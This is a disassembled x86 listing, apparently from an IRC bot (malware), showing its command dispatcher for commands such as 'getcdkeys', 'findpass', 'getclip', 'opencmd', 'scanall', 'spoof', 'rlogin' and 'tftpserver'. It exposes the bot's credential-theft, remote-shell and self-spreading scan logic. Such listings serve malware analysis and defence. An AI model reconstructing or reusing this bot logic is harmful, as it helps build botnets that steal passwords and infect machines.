		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_431AE8
		push	offset dword_431ADC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_431AD8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_431AC4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_431A90
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_431A5C
		push	eax
		mov	dword_4D3FD8, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_4319C4
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_431950
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_431914
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_436EEA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_436EEA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset loc_429150


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_4318D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_436D08, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_436D08


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_436D08[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4D07C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431818
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_4317E0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_4317C0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_43178C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_431750
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2680ACFh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_431714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_4316D8


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_4429D8


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_43169C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_431660
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4D0740
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_43163C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_431610
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_4315E4


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_4315C0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_431594
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_43157C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_431560
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_431534
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
